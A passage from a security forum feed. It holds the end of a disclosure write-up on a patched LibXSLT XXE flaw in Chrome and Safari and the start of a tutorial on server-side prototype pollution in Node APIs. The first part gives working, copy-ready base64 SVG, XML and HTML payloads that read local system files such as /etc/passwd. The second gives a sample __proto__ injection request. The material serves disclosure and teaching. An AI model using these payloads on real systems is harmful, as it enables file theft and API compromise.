		<tr>
			<td>
				XMLSEC
			</td>
			<td>
				The document() function did not allow http(s):// and data: URLs.
			</td>
		</tr>
		<tr>
			<td>
				Oracle
			</td>
			<td>
				The document() function did not allow http(s):// and data: URLs.
			</td>
		</tr>
		<tr>
			<td>
				PostgreSQL
			</td>
			<td>
				The document() function did not allow http(s):// and data: URLs.
			</td>
		</tr>
	</tbody>
</table>

<p>
	The default PHP configuration disables parsing of external entities XML and XSL documents. However, this does not affect XML documents loaded by the document() function, and PHP allows the reading of arbitrary files using LibXSLT.
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	<img alt="32ddd52d-Screenshot-from-2024-05-22-03-1" data-ratio="102.17" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/32ddd52d-Screenshot-from-2024-05-22-03-17-00.png" />
</p>

<p>
	 
</p>

<p>
	According to my tests, calling libxml_set_external_entity_loader(function ($a) {}); is sufficient to prevent the attack.
</p>

<h2>
	POCs
</h2>

<p>
	You will find all the POCs in a ZIP archive at the end of this section. Note that these are not zero-day POCs; details on reporting to the vendor and bounty information will be also provided later.
</p>

<p>
	 
</p>

<p>
	First, I created a simple HTML page with multiple &lt;iframe&gt; elements to test all possible file read functionalities and all possible ways to chain them:
</p>

<p>
	 
</p>

<p>
	<img alt="2f4cfb4c-first-poc.png" data-ratio="83.75" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/2f4cfb4c-first-poc.png" />
</p>

<p>
	                    The result of opening the xxe_all_tests/test.html page in an outdated Chrome
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Open this page in Chrome, Safari, or Electron-like apps. It may read system files with default sandbox settings; without the sandbox, it may read arbitrary files with the current user’s rights.
</p>

<p>
	 
</p>

<p>
	As you can see now, only one of the call chains leads to an XXE in Chrome, and we were very fortunate to find it. Here is my schematic of the chain for better understanding:
</p>

<p>
	<img alt="45e1329a-Screenshot-from-2024-05-22-16-2" data-ratio="47.27" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/45e1329a-Screenshot-from-2024-05-22-16-25-01.png" />
</p>

<p>
	Next, I created minified XML, SVG, and HTML POCs that you can copy directly from the article.
</p>

<ul>
	<li>
		poc.svg
	</li>
</ul>

<pre class="ipsCode prettyprint lang-xml prettyprinted"><span class="pun">&lt;?</span><span class="pln">xml version</span><span class="pun">=</span><span class="str">"1.0"</span><span class="pln"> encoding</span><span class="pun">=</span><span class="str">"UTF-8"</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="pun">&lt;?</span><span class="pln">xml</span><span class="pun">-</span><span class="pln">stylesheet type</span><span class="pun">=</span><span class="str">"text/xsl"</span><span class="pln"> href</span><span class="pun">=</span><span class="str">"data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgbWV0aG9kPSJ4bWwiLz4KPHhzbDp0ZW1wbGF0ZSBtYXRjaD0iLyI+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KPGZvcmVpZ25PYmplY3Qgd2lkdGg9IjMwMCIgaGVpZ2h0PSI2MDAiPgo8ZGl2IHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KTGlicmFyeTogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlbmRvcicpIiAvPjx4c2w6dmFsdWUtb2Ygc2VsZWN0PSJzeXN0ZW0tcHJvcGVydHkoJ3hzbDp2ZXJzaW9uJykiIC8+PGJyIC8+IApMb2NhdGlvbjogPHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InVucGFyc2VkLWVudGl0eS11cmkoLyovQGxvY2F0aW9uKSIgLz4gIDxici8+ClhTTCBkb2N1bWVudCgpIFhYRTogCjx4c2w6Y29weS1vZiAgc2VsZWN0PSJkb2N1bWVudCgnZGF0YTosJTNDJTNGeG1sJTIwdmVyc2lvbiUzRCUyMjEuMCUyMiUyMGVuY29kaW5nJTNEJTIyVVRGLTglMjIlM0YlM0UlMEElM0MlMjFET0NUWVBFJTIweHhlJTIwJTVCJTIwJTNDJTIxRU5USVRZJTIweHhlJTIwU1lTVEVNJTIwJTIyZmlsZTovLy9ldGMvcGFzc3dkJTIyJTNFJTIwJTVEJTNFJTBBJTNDeHhlJTNFJTBBJTI2eHhlJTNCJTBBJTNDJTJGeHhlJTNFJykiLz4KPC9kaXY+CjwvZm9yZWlnbk9iamVjdD4KPC9zdmc+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="dec">&lt;!DOCTYPE svg [  
    &lt;!ENTITY ent SYSTEM "?" NDATA aaa&gt;</span><span class="pln">  
]&gt;
</span><span class="tag">&lt;svg</span><span class="pln"> </span><span class="atn">location</span><span class="pun">=</span><span class="atv">"ent"</span><span class="pln"> </span><span class="tag">/&gt;</span></pre>

<p>
	 
</p>

<p>
	 
</p>

<p>
	 
</p>

<ul>
	<li>
		poc.xml
	</li>
</ul>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-xml prettyprinted"><span class="pun">&lt;?</span><span class="pln">xml version</span><span class="pun">=</span><span class="str">"1.0"</span><span class="pln"> encoding</span><span class="pun">=</span><span class="str">"UTF-8"</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="pun">&lt;?</span><span class="pln">xml</span><span class="pun">-</span><span class="pln">stylesheet type</span><span class="pun">=</span><span class="str">"text/xsl"</span><span class="pln"> href</span><span class="pun">=</span><span class="str">"data:text/xml;base64,PHhzbDpzdHlsZXNoZWV0IHZlcnNpb249IjEuMCIgeG1sbnM6eHNsPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L1hTTC9UcmFuc2Zvcm0iIHhtbG5zOnVzZXI9Imh0dHA6Ly9teWNvbXBhbnkuY29tL215bmFtZXNwYWNlIj4KPHhzbDpvdXRwdXQgdHlwZT0iaHRtbCIvPgo8eHNsOnRlbXBsYXRlIG1hdGNoPSJ0ZXN0MSI+CjxodG1sPgpMaWJyYXJ5OiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0ic3lzdGVtLXByb3BlcnR5KCd4c2w6dmVuZG9yJykiIC8+PHhzbDp2YWx1ZS1vZiBzZWxlY3Q9InN5c3RlbS1wcm9wZXJ0eSgneHNsOnZlcnNpb24nKSIgLz48YnIgLz4gCkxvY2F0aW9uOiA8eHNsOnZhbHVlLW9mIHNlbGVjdD0idW5wYXJzZWQtZW50aXR5LXVyaShAbG9jYXRpb24pIiAvPiAgPGJyLz4KWFNMIGRvY3VtZW50KCkgWFhFOiAKPHhzbDpjb3B5LW9mICBzZWxlY3Q9ImRvY3VtZW50KCdkYXRhOiwlM0MlM0Z4bWwlMjB2ZXJzaW9uJTNEJTIyMS4wJTIyJTIwZW5jb2RpbmclM0QlMjJVVEYtOCUyMiUzRiUzRSUwQSUzQyUyMURPQ1RZUEUlMjB4eGUlMjAlNUIlMjAlM0MlMjFFTlRJVFklMjB4eGUlMjBTWVNURU0lMjAlMjJmaWxlOi8vL2V0Yy9wYXNzd2QlMjIlM0UlMjAlNUQlM0UlMEElM0N4eGUlM0UlMEElMjZ4eGUlM0IlMEElM0MlMkZ4eGUlM0UnKSIvPgo8L2h0bWw+CjwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg=="</span><span class="pun">?&gt;</span><span class="pln">
</span><span class="dec">&lt;!DOCTYPE test [  
    &lt;!ENTITY ent SYSTEM "?" NDATA aaa&gt;</span><span class="pln">  
]&gt;
</span><span class="tag">&lt;test1</span><span class="pln"> </span><span class="atn">location</span><span class="pun">=</span><span class="atv">"ent"</span><span class="tag">/&gt;</span></pre>

<p>
	 
</p>

<p>
	 
</p>

<ul>
	<li>
		poc.html
	</li>
</ul>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="tag">&lt;html&gt;</span><span class="pln">
</span><span class="tag">&lt;head&gt;</span><span class="pln">
</span><span class="tag">&lt;title&gt;</span><span class="pln">LibXSLT document() XXE tests</span><span class="tag">&lt;/title&gt;</span><span class="pln">
</span><span class="tag">&lt;/head&gt;</span><span class="pln">
</span><span class="tag">&lt;body&gt;</span><span class="pln">
SVG</span><span class="tag">&lt;br/&gt;</span><span class="pln">
</span><span class="tag">&lt;iframe</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2JXVjBhRzlrUFNKNGJXd2lMejRLUEhoemJEcDBaVzF3YkdGMFpTQnRZWFJqYUQwaUx5SStDanh6ZG1jZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S1BHWnZjbVZwWjI1UFltcGxZM1FnZDJsa2RHZzlJak13TUNJZ2FHVnBaMmgwUFNJMk1EQWlQZ284WkdsMklIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNEtUR2xpY21GeWVUb2dQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxibVJ2Y2ljcElpQXZQang0YzJ3NmRtRnNkV1V0YjJZZ2MyVnNaV04wUFNKemVYTjBaVzB0Y0hKdmNHVnlkSGtvSjNoemJEcDJaWEp6YVc5dUp5a2lJQzgrUEdKeUlDOCtJQXBNYjJOaGRHbHZiam9nUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluVnVjR0Z5YzJWa0xXVnVkR2wwZVMxMWNta29MeW92UUd4dlkyRjBhVzl1S1NJZ0x6NGdJRHhpY2k4K0NsaFRUQ0JrYjJOMWJXVnVkQ2dwSUZoWVJUb2dDang0YzJ3NlkyOXdlUzF2WmlBZ2MyVnNaV04wUFNKa2IyTjFiV1Z1ZENnblpHRjBZVG9zSlROREpUTkdlRzFzSlRJd2RtVnljMmx2YmlVelJDVXlNakV1TUNVeU1pVXlNR1Z1WTI5a2FXNW5KVE5FSlRJeVZWUkdMVGdsTWpJbE0wWWxNMFVsTUVFbE0wTWxNakZFVDBOVVdWQkZKVEl3ZUhobEpUSXdKVFZDSlRJd0pUTkRKVEl4UlU1VVNWUlpKVEl3ZUhobEpUSXdVMWxUVkVWTkpUSXdKVEl5Wm1sc1pUb3ZMeTlsZEdNdmNHRnpjM2RrSlRJeUpUTkZKVEl3SlRWRUpUTkZKVEJCSlRORGVIaGxKVE5GSlRCQkpUSTJlSGhsSlROQ0pUQkJKVE5ESlRKR2VIaGxKVE5GSnlraUx6NEtQQzlrYVhZK0Nqd3ZabTl5WldsbmJrOWlhbVZqZEQ0S1BDOXpkbWMrQ2p3dmVITnNPblJsYlhCc1lYUmxQZ284TDNoemJEcHpkSGxzWlhOb1pXVjBQZz09Ij8+CjwhRE9DVFlQRSBzdmcgWyAgCiAgICA8IUVOVElUWSBlbnQgU1lTVEVNICI/IiBOREFUQSBhYWE+ICAgCl0+CjxzdmcgbG9jYXRpb249ImVudCIgLz4="</span><span class="tag">&gt;&lt;/iframe&gt;&lt;br/&gt;</span><span class="pln">
SVG WIN</span><span class="tag">&lt;br/&gt;</span><span class="pln">
</span><span class="tag">&lt;iframe</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">"data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2JXVjBhRzlrUFNKNGJXd2lMejRLUEhoemJEcDBaVzF3YkdGMFpTQnRZWFJqYUQwaUx5SStDanh6ZG1jZ2VHMXNibk05SW1oMGRIQTZMeTkzZDNjdWR6TXViM0puTHpJd01EQXZjM1puSWo0S1BHWnZjbVZwWjI1UFltcGxZM1FnZDJsa2RHZzlJak13TUNJZ2FHVnBaMmgwUFNJMk1EQWlQZ284WkdsMklIaHRiRzV6UFNKb2RIUndPaTh2ZDNkM0xuY3pMbTl5Wnk4eE9UazVMM2hvZEcxc0lqNEtUR2xpY21GeWVUb2dQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxibVJ2Y2ljcElpQXZQang0YzJ3NmRtRnNkV1V0YjJZZ2MyVnNaV04wUFNKemVYTjBaVzB0Y0hKdmNHVnlkSGtvSjNoemJEcDJaWEp6YVc5dUp5a2lJQzgrUEdKeUlDOCtJQXBNYjJOaGRHbHZiam9nUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluVnVjR0Z5YzJWa0xXVnVkR2wwZVMxMWNta29MeW92UUd4dlkyRjBhVzl1S1NJZ0x6NGdJRHhpY2k4K0NsaFRUQ0JrYjJOMWJXVnVkQ2dwSUZoWVJUb2dDang0YzJ3NlkyOXdlUzF2WmlBZ2MyVnNaV04wUFNKa2IyTjFiV1Z1ZENnblpHRjBZVG9zSlROREpUTkdlRzFzSlRJd2RtVnljMmx2YmlVelJDVXlNakV1TUNVeU1pVXlNR1Z1WTI5a2FXNW5KVE5FSlRJeVZWUkdMVGdsTWpJbE0wWWxNMFVsTUVFbE0wTWxNakZFVDBOVVdWQkZKVEl3ZUhobEpUSXdKVFZDSlRJd0pUTkRKVEl4UlU1VVNWUlpKVEl3ZUhobEpUSXdVMWxUVkVWTkpUSXdKVEl5Wm1sc1pUb3ZMeTlqT2k5M2FXNWtiM2R6TDNONWMzUmxiUzVwYm1rbE1qSWxNMFVsTWpBbE5VUWxNMFVsTUVFbE0wTjRlR1VsTTBVbE1FRWxNalo0ZUdVbE0wSWxNRUVsTTBNbE1rWjRlR1VsTTBVbktTSXZQZ284TDJScGRqNEtQQzltYjNKbGFXZHVUMkpxWldOMFBnbzhMM04yWno0S1BDOTRjMnc2ZEdWdGNHeGhkR1UrQ2p3dmVITnNPbk4wZVd4bGMyaGxaWFErIj8+CjwhRE9DVFlQRSB0ZXN0MSBbICAKICAgIDwhRU5USVRZIGVudCBTWVNURU0gIj8iIE5EQVRBIGFhYT4gICAKXT4KPHRlc3QxIGxvY2F0aW9uPSJlbnQiIC8+"</span><span class="tag">&gt;&lt;/iframe&gt;&lt;br/&gt;</span><span class="pln">
XML</span><span class="tag">&lt;br/&gt;</span><span class="pln">
</span><span class="tag">&lt;iframe</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">"data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2RIbHdaVDBpYUhSdGJDSXZQZ284ZUhOc09uUmxiWEJzWVhSbElHMWhkR05vUFNKMFpYTjBNU0krQ2p4b2RHMXNQZ3BNYVdKeVlYSjVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWMzbHpkR1Z0TFhCeWIzQmxjblI1S0NkNGMydzZkbVZ1Wkc5eUp5a2lJQzgrUEhoemJEcDJZV3gxWlMxdlppQnpaV3hsWTNROUluTjVjM1JsYlMxd2NtOXdaWEowZVNnbmVITnNPblpsY25OcGIyNG5LU0lnTHo0OFluSWdMejRnQ2t4dlkyRjBhVzl1T2lBOGVITnNPblpoYkhWbExXOW1JSE5sYkdWamREMGlkVzV3WVhKelpXUXRaVzUwYVhSNUxYVnlhU2hBYkc5allYUnBiMjRwSWlBdlBpQWdQR0p5THo0S1dGTk1JR1J2WTNWdFpXNTBLQ2tnV0ZoRk9pQUtQSGh6YkRwamIzQjVMVzltSUNCelpXeGxZM1E5SW1SdlkzVnRaVzUwS0Nka1lYUmhPaXdsTTBNbE0wWjRiV3dsTWpCMlpYSnphVzl1SlRORUpUSXlNUzR3SlRJeUpUSXdaVzVqYjJScGJtY2xNMFFsTWpKVlZFWXRPQ1V5TWlVelJpVXpSU1V3UVNVelF5VXlNVVJQUTFSWlVFVWxNakI0ZUdVbE1qQWxOVUlsTWpBbE0wTWxNakZGVGxSSlZGa2xNakI0ZUdVbE1qQlRXVk5VUlUwbE1qQWxNakptYVd4bE9pOHZMMlYwWXk5d1lYTnpkMlFsTWpJbE0wVWxNakFsTlVRbE0wVWxNRUVsTTBONGVHVWxNMFVsTUVFbE1qWjRlR1VsTTBJbE1FRWxNME1sTWtaNGVHVWxNMFVuS1NJdlBnbzhMMmgwYld3K0Nqd3ZlSE5zT25SbGJYQnNZWFJsUGdvOEwzaHpiRHB6ZEhsc1pYTm9aV1YwUGc9PSI/Pgo8IURPQ1RZUEUgdGVzdCBbICAKICAgIDwhRU5USVRZIGVudCBTWVNURU0gIj8iIE5EQVRBIGFhYT4gICAKXT4KPHRlc3QxIGxvY2F0aW9uPSJlbnQiLz4="</span><span class="tag">&gt;&lt;/iframe&gt;&lt;br/&gt;</span><span class="pln">
XML WIN</span><span class="tag">&lt;br/&gt;</span><span class="pln">
</span><span class="tag">&lt;iframe</span><span class="pln"> </span><span class="atn">src</span><span class="pun">=</span><span class="atv">"data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPD94bWwtc3R5bGVzaGVldCB0eXBlPSJ0ZXh0L3hzbCIgaHJlZj0iZGF0YTp0ZXh0L3htbDtiYXNlNjQsUEhoemJEcHpkSGxzWlhOb1pXVjBJSFpsY25OcGIyNDlJakV1TUNJZ2VHMXNibk02ZUhOc1BTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDFoVFRDOVVjbUZ1YzJadmNtMGlJSGh0Ykc1ek9uVnpaWEk5SW1oMGRIQTZMeTl0ZVdOdmJYQmhibmt1WTI5dEwyMTVibUZ0WlhOd1lXTmxJajRLUEhoemJEcHZkWFJ3ZFhRZ2RIbHdaVDBpYUhSdGJDSXZQZ284ZUhOc09uUmxiWEJzWVhSbElHMWhkR05vUFNKMFpYTjBNU0krQ2p4b2RHMXNQZ3BNYVdKeVlYSjVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWMzbHpkR1Z0TFhCeWIzQmxjblI1S0NkNGMydzZkbVZ1Wkc5eUp5a2lJQzgrSmlONE1qQTdQSGh6YkRwMllXeDFaUzF2WmlCelpXeGxZM1E5SW5ONWMzUmxiUzF3Y205d1pYSjBlU2duZUhOc09uWmxjbk5wYjI0bktTSWdMejQ4WW5JZ0x6NGdDa3h2WTJGMGFXOXVPaUE4ZUhOc09uWmhiSFZsTFc5bUlITmxiR1ZqZEQwaWRXNXdZWEp6WldRdFpXNTBhWFI1TFhWeWFTaEFiRzlqWVhScGIyNHBJaUF2UGlBZ1BHSnlMejRLV0ZOTUlHUnZZM1Z0Ym1WMEtDa2dXRmhGT2lBS1BIaHpiRHBqYjNCNUxXOW1JQ0J6Wld4bFkzUTlJbVJ2WTNWdFpXNTBLQ2RrWVhSaE9pd2xNME1sTTBaNGJXd2xNakIyWlhKemFXOXVKVE5FSlRJeU1TNHdKVEl5SlRJd1pXNWpiMlJwYm1jbE0wUWxNakpWVkVZdE9DVXlNaVV6UmlVelJTVXdRU1V6UXlVeU1VUlBRMVJaVUVVbE1qQjRlR1VsTWpBbE5VSWxNakFsTTBNbE1qRkZUbFJKVkZrbE1qQjRlR1VsTWpCVFdWTlVSVTBsTWpBbE1qSm1hV3hsT2k4dkwyTTZMM2RwYm1SdmQzTXZjM2x6ZEdWdExtbHVhU1V5TWlVelJTVXlNQ1UxUkNVelJTVXdRU1V6UTNoNFpTVXpSU1V3UVNVeU5uaDRaU1V6UWlVd1FTVXpReVV5Um5oNFpTVXpSU2NwSWk4K0Nqd3ZhSFJ0YkQ0S1BDOTRjMnc2ZEdWdGNHeGhkR1UrQ2p3dmVITnNPbk4wZVd4bGMyaGxaWFErIj8+CjwhRE9DVFlQRSB0ZXN0IFsgIAogICAgPCFFTlRJVFkgZW50IFNZU1RFTSAiPyIgTkRBVEEgYWFhPiAgIApdPgo8dGVzdDEgbG9jYXRpb249ImVudCIvPg=="</span><span class="tag">&gt;&lt;/iframe&gt;&lt;br/&gt;</span><span class="pln">
</span><span class="tag">&lt;/body&gt;</span></pre>

<p>
	                                                                                       ZIP archive for testing: <a href="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/d34e0a53-libxslt.zip" rel="external nofollow">libxslt.zip</a>.
</p>

<h2>
	The Bounty
</h2>

<p>
	All findings were immediately reported to the vendors.
</p>

<p>
	<img alt="1d340d89-bounty-2500.png" data-ratio="41.30" src="https://swarm.ptsecurity.com/wp-content/uploads/2024/05/1d340d89-bounty-2500.png" />
</p>

<h6>
	<span style="font-size:18px;">Safari</span>
</h6>

<p>
	Apple implemented the sandbox patch. Assigned CVE: CVE-2023-40415. Reward: $25,000. <span class="ipsEmoji">?</span>
</p>

<h6>
	<span style="font-size:18px;">Chrome</span>
</h6>

<p>
	Google implemented the patch and enforced security for documents loaded by the XSL’s document() function. Assigned CVE: CVE-2023-4357. Reward: $3,000. <span class="ipsEmoji">?</span>
</p>

<h2>
	Links
</h2>

<ul>
	<li>
		<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40415" rel="external nofollow">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40415</a>
	</li>
	<li>
		<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4357" rel="external nofollow">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4357</a>
	</li>
	<li>
		<a href="https://issues.chromium.org/issues/40066577" rel="external nofollow">https://issues.chromium.org/issues/40066577</a>
	</li>
</ul>

<p>
	 
</p>

<p>
	Feel free to write your thoughts about the article <a href="https://twitter.com/ptswarm" rel="external nofollow">on our X page</a>. Follow <a href="https://twitter.com/ptswarm" rel="external nofollow">@ptswarm</a> so you don’t miss our future research and other publications.
</p>

<p>
	 
</p>

<p>
	Source: <a href="https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/" rel="external nofollow">https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/</a>
</p>
]]></description><guid isPermaLink="false">120343</guid><pubDate>Wed, 04 Sep 2024 18:08:17 +0000</pubDate></item><item><title>How to exploit an API using prototype pollution</title><link>https://rstforums.com/forum/topic/120174-how-to-exploit-an-api-using-prototype-pollution/</link><description><![CDATA[<div>
	<div>
		July 4, 2023
	</div>

	<div>
		<a href="https://danaepp.com/category/api-hacking-techniques" rel="external nofollow">API Hacking Techniques</a>
	</div>
</div>

<div>
	<h1>
		How to exploit an API using prototype pollution
	</h1>

	
		<img alt="How to exploit an API using prototype pollution" data-ratio="63.00" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/07/Exploit-API-using-prototype-pollution.png?w=1200&amp;ssl=1 1200w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/07/Exploit-API-using-prototype-pollution.png?resize=300%2C158&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/07/Exploit-API-using-prototype-pollution.png?resize=1024%2C538&amp;ssl=1 1024w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/07/Exploit-API-using-prototype-pollution.png?resize=768%2C403&amp;ssl=1 768w" src="https://danaepp.com/wp-content/uploads/2023/07/Exploit-API-using-prototype-pollution.png" />
	
</div>

<div>
	<h2>
		Introduction
	</h2>

	<p>
		I read somewhere that <a href="https://nodejs.org/?ref=danaepp.com" rel="external nofollow">NodeJS</a> has now been downloaded over 1.5 BILLION times. It’s one of the most popular runtimes startups use to build their web apps and APIs.
	</p>

	<p>
		And big businesses use it too. Everyone from LinkedIn and NetFlix to NASA, Uber, and GoDaddy uses it to drive their software.
	</p>

	<p>
		So what? Why is this important?
	</p>

	<p>
		As a cross-platform JavaScript runtime environment that may be driving the APIs you are testing, understanding how to exploit it is essential. We’ve seen plenty of examples of exploiting JavaScript on the client side, but can this be done on the server side that NodeJS delivers?
	</p>

	<p>
		It ends up you can. It’s called server-side prototype pollution (SSPP).
	</p>

	<p>
		And prototype pollution can be a huge vulnerability you need to know how to detect and exploit.
	</p>

	<p>
		So let’s dive in and discuss what prototype pollution is, why it matters, and how you can weaponize it to exploit an API.
	</p>

	<h2>
		What is prototype pollution?
	</h2>

	<p>
		Prototype pollution is a type of attack vector in which an attacker can inject data into an object prototype. This attack occurs when the user input isn’t sanitized or filtered properly before being parsed by JavaScript.
	</p>

	<p>
		When this happens, malicious data is added to the global scope, which can be executable code that will run immediately and access privileged information.
	</p>

	<p>
		This type of attack is known as “polluting” the prototype chain, which can lead to a whole host of problems, including remote code execution (RCE).
	</p>

	
		<img alt="image-11.png?resize=483%2C303&amp;ssl=1" data-ratio="62.73" srcset="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/image-11.png?w=966&amp;ssl=1 966w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/image-11.png?resize=300%2C188&amp;ssl=1 300w, https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/image-11.png?resize=768%2C482&amp;ssl=1 768w" src="https://i0.wp.com/danaepp.com/wp-content/uploads/2023/06/image-11.png?resize=483%2C303&amp;ssl=1" />
	

	<p>
		To get a more in-depth understanding, you can <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes?ref=danaepp.com" rel="external nofollow">check out this article on MDN</a>.
	</p>

	<p>
		Let’s look at an example of how this works. Consider this code:
	</p>

	<pre>obj[a][b] = c;</pre>

	<p>
		If an attacker can control a and c, then he can set the value of a to __proto__, and the property b will be defined for all existing objects of the application with the value of c.
	</p>

	<p>
		Can you think of some ways you can abuse this? I bet you can.
	</p>

	<h2>
		Detecting Server Side Prototype Pollution
	</h2>

	<p>
		So before I show you how to detect SSPP, I need to warn you about something.
	</p>

	<p>
		When testing client-side prototype pollution, you can easily reverse all your changes and return to a clean environment by simply refreshing the target web page.
	</p>

	<p>
		That’s more challenging when testing prototype pollution on the server side.
	</p>

	<p>
		Once you pollute a prototype on the server, this change will persist for the entire lifetime of the Node process, and you don’t have any way of resetting it. This means it can impact production workloads and can negatively impact the API you are testing.
	</p>

	<p>
		So please be aware and be careful. I will show you both some destructive and non-destructive ways to detect SSPP. Use good judgment when applying these techniques to a target.
	</p>

	<h3>
		Test for polluted property reflection
	</h3>

	<p>
		Look for API endpoints that reflect an object that is created or updated. You can usually find this where objects are created in a POST operation or are updated in a PUT operation.
	</p>

	<p>
		Consider this example:
	</p>

	<pre>POST /api/user HTTP/1.1
Host: vuln-api.com
...
{
     "user":"bob",
     "firstName":"Bob",
     "lastName":"Smith",
     "__proto__":{
          "foo":"bar"
     }
}</pre>

	<p>
		If the target is vulnerable to SSPP, then you may see a new property called foo with the value of bar reflected in the response:
	</p>

	<pre>HTTP/1.1 200 OK
...
{
     "username":"bob",
     "firstName":"Bob",
     "lastName":"Smith",
     "foo":"bar"
}</pre>

	<p>
		If this works, it’s time to start looking for places in the API where this can be abused. Suppose you can start adding properties to objects through SSPP. In that case, you can significantly change the business logic code flow and behavior, leading to privileges escalation or remote code execution.
	</p>

	<h3>
		Test for poisoned server configuration changes
	</h3>

	<p>
		While polluting properties and looking for them in a reflected response works, it is a rather destructive methodology to active objects. And the reality is APIs don’t always reflect objects that are created or updated. This means we don’t always get to SEE that the objects have been modified in this way.
	</p>

	<p>
